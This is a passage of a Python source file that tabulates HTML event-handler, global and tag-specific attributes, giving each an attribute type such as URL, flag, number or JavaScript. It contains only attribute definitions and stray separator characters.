HTMLAttribute('ontouchmove', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('ontouchstart', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('ontransitioncancel', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('ontransitionend', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('ontransitionrun', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('ontransitionstart', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onunhandledrejection', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onunload', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onvolumechange', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onwebkitanimationend', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onwebkitanimationiteration', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onwebkitanimationstart', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onwebkittransitionend', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onwheel', HTMLTagAttributeType.TypeJS),
|
||||||
|
]
|
||||||
|
|
||||||
|
GlobalAttributes = [
|
||||||
|
HTMLAttribute('accesskey', HTMLTagAttributeType.TypeAccessKey),
|
||||||
|
HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('autocapitalize', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('contenteditable', HTMLTagAttributeType.TypeBoolean),
|
||||||
|
HTMLAttribute('contextmenu', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('dir', HTMLTagAttributeType.TypeDir),
|
||||||
|
HTMLAttribute('draggable', HTMLTagAttributeType.TypeBoolean),
|
||||||
|
HTMLAttribute('dropzone', HTMLTagAttributeType.TypeDrop),
|
||||||
|
HTMLAttribute('hidden', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('is', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('lang', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('popover', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('slot', HTMLTagAttributeType.TypeName),
|
||||||
|
HTMLAttribute('spellcheck', HTMLTagAttributeType.TypeBoolean),
|
||||||
|
HTMLAttribute('style', HTMLTagAttributeType.TypeStlye),
|
||||||
|
HTMLAttribute('tabindex', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('translate', HTMLTagAttributeType.TypeBoolean),
|
||||||
|
]
|
||||||
|
|
||||||
|
TagSpecificAttributes = {
|
||||||
|
'a': [
|
||||||
|
HTMLAttribute('download', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('href', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('hreflang', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('media', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('ping', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('rel', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget),
|
||||||
|
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'animate': [
|
||||||
|
HTMLAttribute('attributeName', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('attributeType', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('begin', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('by', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('calcMode', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('dur', HTMLTagAttributeType.TypeDuration),
|
||||||
|
HTMLAttribute('end', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'abbr': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'acronym': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'address': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'applet': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('alt', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('archive', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('code', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('codebase', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('data', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('object', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
'area': [
|
||||||
|
HTMLAttribute('alt', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('coords', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('download', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('href', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('hreflang', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('media', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('ping', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('rel', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('shape', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget),
|
||||||
|
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'article': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'aside': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'audio': [
|
||||||
|
HTMLAttribute('autoplay', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('controls', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('loop', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('muted', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('preload', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||||
|
],
|
||||||
|
'b': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'base': [
|
||||||
|
HTMLAttribute('href', HTMLTagAttributeType.TypeURL),
|
||||||
|
],
|
||||||
|
'basefont': [
|
||||||
|
HTMLAttribute('color', HTMLTagAttributeType.TypeColor),
|
||||||
|
HTMLAttribute('face', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('size', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
'bdi': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'bdo': [
|
||||||
|
HTMLAttribute('dir', HTMLTagAttributeType.TypeDir),
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'big': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'blockquote': [
|
||||||
|
HTMLAttribute('cite', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'body': [
|
||||||
|
HTMLAttribute('alink', HTMLTagAttributeType.TypeColor),
|
||||||
|
HTMLAttribute('background', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||||
|
HTMLAttribute('link', HTMLTagAttributeType.TypeColor),
|
||||||
|
HTMLAttribute('text', HTMLTagAttributeType.TypeColor),
|
||||||
|
HTMLAttribute('vlink', HTMLTagAttributeType.TypeColor),
|
||||||
|
],
|
||||||
|
'button': [
|
||||||
|
HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||||
|
HTMLAttribute('formaction', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('formenctype', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('formmethod', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('formnovalidate', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('formtarget', HTMLTagAttributeType.TypeWindowTarget),
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('value', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('popovertarget', HTMLTagAttributeType.TypeTarget),
|
||||||
|
],
|
||||||
|
'canvas': [
|
||||||
|
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
'caption': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'center': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'cite': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'code': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'col': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||||
|
HTMLAttribute('char', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('charoff', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('span', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('valign', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
'colgroup': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||||
|
HTMLAttribute('char', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('charoff', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('span', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('valign', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
'data': [
|
||||||
|
HTMLAttribute('value', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'datalist': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'dd': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'del': [
|
||||||
|
HTMLAttribute('cite', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('datetime', HTMLTagAttributeType.TypeDate),
|
||||||
|
],
|
||||||
|
'details': [
|
||||||
|
HTMLAttribute('open', HTMLTagAttributeType.TypeFlag),
|
||||||
|
],
|
||||||
|
'dfn': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'dialog': [
|
||||||
|
HTMLAttribute('open', HTMLTagAttributeType.TypeFlag),
|
||||||
|
],
|
||||||
|
'dir': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'div': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'dl': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'dt': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'em': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'embed': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
'fieldset': [
|
||||||
|
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||||
|
],
|
||||||
|
'figcaption': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'figure': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'font': [
|
||||||
|
HTMLAttribute('color', HTMLTagAttributeType.TypeColor),
|
||||||
|
HTMLAttribute('face', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('size', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
'footer': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'form': [
|
||||||
|
HTMLAttribute('accept-charset', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('action', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('enctype', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('method', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('novalidate', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget),
|
||||||
|
],
|
||||||
|
'frame': [
|
||||||
|
HTMLAttribute('frameborder', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('marginheight', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('marginwidth', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('noresize', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('scrolling', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||||
|
],
|
||||||
|
'frameset': [
|
||||||
|
HTMLAttribute('cols', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('rows', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'h1': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'h2': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'h3': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'h4': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'h5': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'h6': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'head': [
|
||||||
|
HTMLAttribute('profile', HTMLTagAttributeType.TypeURL),
|
||||||
|
],
|
||||||
|
'header': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'hr': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('color', HTMLTagAttributeType.TypeColor),
|
||||||
|
HTMLAttribute('noshade', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('size', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
'html': [
|
||||||
|
HTMLAttribute('manifest', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('xmlns', HTMLTagAttributeType.TypeURL),
|
||||||
|
],
|
||||||
|
'i': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'iframe': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('allow', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('allowfullscreen', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('allowpaymentrequest', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('allowusermedia', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('csp', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('importance', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('sandbox', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('srcdoc', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
'img': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('alt', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('border', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('crossorigin', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('decoding', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('intrinsicsize', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('ismap', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('loading', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('longdesc', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('sizes', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('srcset', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('usemap', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
'input': [
|
||||||
|
HTMLAttribute('accept', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('alt', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('capture', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('checked', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('dirname', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||||
|
HTMLAttribute('formaction', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('formenctype', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('formmethod', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('formnovalidate', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('formtarget', HTMLTagAttributeType.TypeWindowTarget),
|
||||||
|
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('inputmode', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('ismap', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('list', HTMLTagAttributeType.TypeName),
|
||||||
|
HTMLAttribute('max', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('maxlength', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('min', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('pattern', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('required', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('size', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('step', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('value', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('popovertarget', HTMLTagAttributeType.TypeTarget),
|
||||||
|
],
|
||||||
|
|
||||||
|
'ins': [
|
||||||
|
HTMLAttribute('cite', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('datetime', HTMLTagAttributeType.TypeDate),
|
||||||
|
],
|
||||||
|
'kbd': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'label': [
|
||||||
|
HTMLAttribute('for', HTMLTagAttributeType.TypeName),
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'legend': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'li': [
|
||||||
|
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('value', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
'link': [
|
||||||
|
HTMLAttribute('as', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('crossorigin', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('href', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('hreflang', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('integrity', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('media', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('rel', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('sizes', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'main': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'map': [
|
||||||
|
],
|
||||||
|
'mark': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'marquee': [
|
||||||
|
HTMLAttribute('behavior', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||||
|
HTMLAttribute('direction', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('loop', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('scrollamount', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('scrolldelay', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('truespeed', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
'menu': [
|
||||||
|
HTMLAttribute('compact', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'meta': [
|
||||||
|
HTMLAttribute('charset', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('content', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('http-equiv', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'meter': [
|
||||||
|
HTMLAttribute('high', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('low', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('max', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('min', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('optimum', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('value', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
'nav': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'noframes': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'noscript': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'object': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('archive', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('border', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('classid', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('code', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('codebase', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('codetype', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('data', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('declare', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||||
|
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('standby', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('usemap', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
|
||||||
|
'ol': [
|
||||||
|
HTMLAttribute('compact', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('reversed', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('start', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
|
||||||
|
'optgroup': [
|
||||||
|
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('label', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'option': [
|
||||||
|
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('label', HTMLTagAttributeType.TypeText),
|
||||||
|
